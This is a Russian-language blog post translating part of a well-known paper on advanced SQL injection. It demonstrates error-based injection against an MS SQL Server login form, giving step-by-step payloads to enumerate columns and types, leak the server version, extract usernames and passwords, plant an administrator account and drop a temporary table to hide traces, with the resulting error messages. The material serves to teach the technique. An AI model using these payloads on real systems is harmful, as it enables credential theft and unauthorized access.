19 сент. 2009 г.

Продвинутая SQL-инъекция в клиент-серверных приложениях. Часть 2

Продолжаю публикацию собственно перевода. Часть вторая, очень интересная. Хотел бы поделиться мыслями: до прочтения этой статьи, я думал, что знаю достаточно много об sql-инъекции, но прочитав ее оказалось я знаю совсем мало :).

Получение информации используя сообщения об ошибках

Эта техника была впервые открыта Дэвидом Литчфилдом(David Litchfield) и автор до сих пор тестирует ее. Дэвид позже написал документ описывающий эту технику и последующие авторы упоминают его работу. В основе этой техники лежат механизмы «сообщения об ошибке»(‘error message’), позволяющая читателю полностью понять его и потенциально создавая вариации себя самого.

Для того чтобы манипулировать данными из БД, атакующему необходимо определить структуру текущей БД и таблиц. Например, наша таблица ‘users’ могла быть создана следующей командой:

Create table users (
Id int,
Username varchar(255),
Passwors varchar(255),
Privs int
);

… и следующие пользователи добавлены:

Insert into users values (‘0’,’admin’,’r00tr0x!’,0xffff)
Inserts into users values (‘0’,’guest’,’guest’,’0x0000’)
Inserts into users values (‘0’,’chris’,’password’,’0x00ff’)
Inserts into users values (‘0’,’fred’,’sesame’,’0x00ff’)

Допустим, атакующий хочет добавить самого себя в БД. Если он не будет знать структуру таблицы ‘users’, у него вряд ли это получится. Даже если ему повезет, смысл поля ‘privs’ ему будет не понятен. Атакующий может вставить 1 и создать аккаунт с самыми простыми правами, нежели он имел права администратора.

К счастью атакующего, если приложение выдаст сообщение об ошибке, то он сможет определить структуру БД и прочитать любое значение, которое может быть считано аккаунтом подключающимся к БД.

Первое, атакующий хочет определить имена таблиц к которой обращается запрос и название полей этой таблицы. Для этого, атакующий использует в запросе ключевое слово ‘having’:

Username: ‘ having 1=1 ‘—
Что создаст следующую ошибку
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35

Так что атакующий знает название таблицы и название первого столбца в запросе. Он может продолжить запрос узнавая каждое следующее поле путем написания условия ‘group by’

Username: ‘ group by users.id having 1=1

Что создаст следующую ошибку

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35

Проделывая эти шаги атакующий придет к следующему:

‘ group by users.id, users.username, users.password, users,privs having 1=1—

… что не создаст никакой ошибки, и что функционально эквивалентно следующему:
Select * from users where username =’’

Атакующий теперь знает, что запрос обращается к таблице users, которая имеет поля ‘id, username, password, privs’, в таком порядке.

Для него было бы очень полезным если бы он смог определить тип каждого столбца. Он может это узнать путем конвертирования типа данных, что вызовет сообщение об ошибке, как тут

Username: ‘ union select sum(username) from users—

Преимущество такого подхода в том, что SQL сервер пытается применить условие суммы, прежде чем определит какие значения полей в двух строках эквивалентны. Попытка определить сумму текстового поля приведет к следующей ошибке:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35

… которое говорит нам, что поле ‘username’ имеет тип varchar. Если, в другом случае, мы пытаемся суммировать числовые поля, мы получим сообщение об ошибке, говорящее нам, что значения полей не совпадают в двух строках:
Username: ‘ union select sum(id) from users –

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35

Используя эту технику, мы можем определить тип любого столбца любой таблицы в БД.

Это позволяет атакующему создать хорошо сформированный ‘insert’ запрос, как этот:

Username: ‘; insert into users values(666,’atacker’,’foobar’,0xffff)—

Однако, потенциал этой техники не останавливается на этом. Атакующий может получит преимущество любого сообщения об ошибке которая показывает информацию об оборудовании или БД. Список всех стандартных ошибок может быть получен путем выполнения следующего:

Select * from master..sysmessage

Изучив этот список, можно получить интересные сообщения.

Одно особенно полезное сообщение связано с конверсией типов. Если вы попытаетесь конвертировать строку в целое число, то полное содержание строки будет возвращено в сообщение об ошибке. В нашем примере страницы авторизации, например, при введение в поле ‘username’ нам отобразится сообщение об ошибке, где будет указана версия SQL сервера и операционная система самого сервера, на котором она запущена:

Username: ‘ union select @@version,1,1,1—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35

Тут происходи попытка конвертирования встроенной «@@version» константы в целочисленное значение, потому что первый столбец в таблице ‘users’ – целое значение.

Это техника позволяет прочитать любое значение в любой таблице в БД. Так как атакующему интересны поля имен пользователей и пароли, ему достаточно просто прочитать имена пользователей из таблицы ‘users’, как тут:

Username: ‘ union select min(username),1,1,1 from users where username>’a’—

Тут происходит выборка самого короткого имя пользователя, которое начинается на ‘a’ и происходи попытка конвертации в целое число:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35

Теперь атакующий знает, что запись ‘admin’ существует. Теперь он может повторять через каждую строку в таблице путем замены каждого нового пользователя, которого он получил путем подстановки в условие ‘where’:

Username: ‘ union select min(username),1,1,1 from users where username>’admin’—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35

Как только атакующий получит имена пользователей, он может начать получать пароли:

Username: ‘ union select password,1,1,1 from users where username=’admin’—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35

Более элегантная техника состоит в том чтобы все имена пользователей и пароли объединить в одну строку и попытаться их конвертировать в целое число. Это иллюстрирует другую точку подхода; Transact-SQL выражения могут быть объединены в строку без вывода их значений. Следующий скрипт объединит значения:

begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo
end

Атакующий авторизируется в системе при помощи только что написанного «имени пользователя»

Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--

Тут создается таблица ‘foo’, которая содержит единственную колонку ‘ret’ и вставляет нашу сформированную строку в эту колонку. Обычно, даже самый низко-привелигированный пользователь имеет возможность создать таблицу в БД.

Затем атакующий получает строку из нашей таблицы:

Username: ' union select ret,1,1,1 from foo--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
/process_login.asp, line 35

И затем удаляет таблицу, для того чтобы подчистить следы:
Username: '; drop table foo--

Эти примеры едва ли показывают гибкость этой техники. Излишним будет говорить, что если атакующий захочет получить большое сообщение об ошибке из БД, то это не составит ему труда.

Комментариев нет:

Отправить комментарий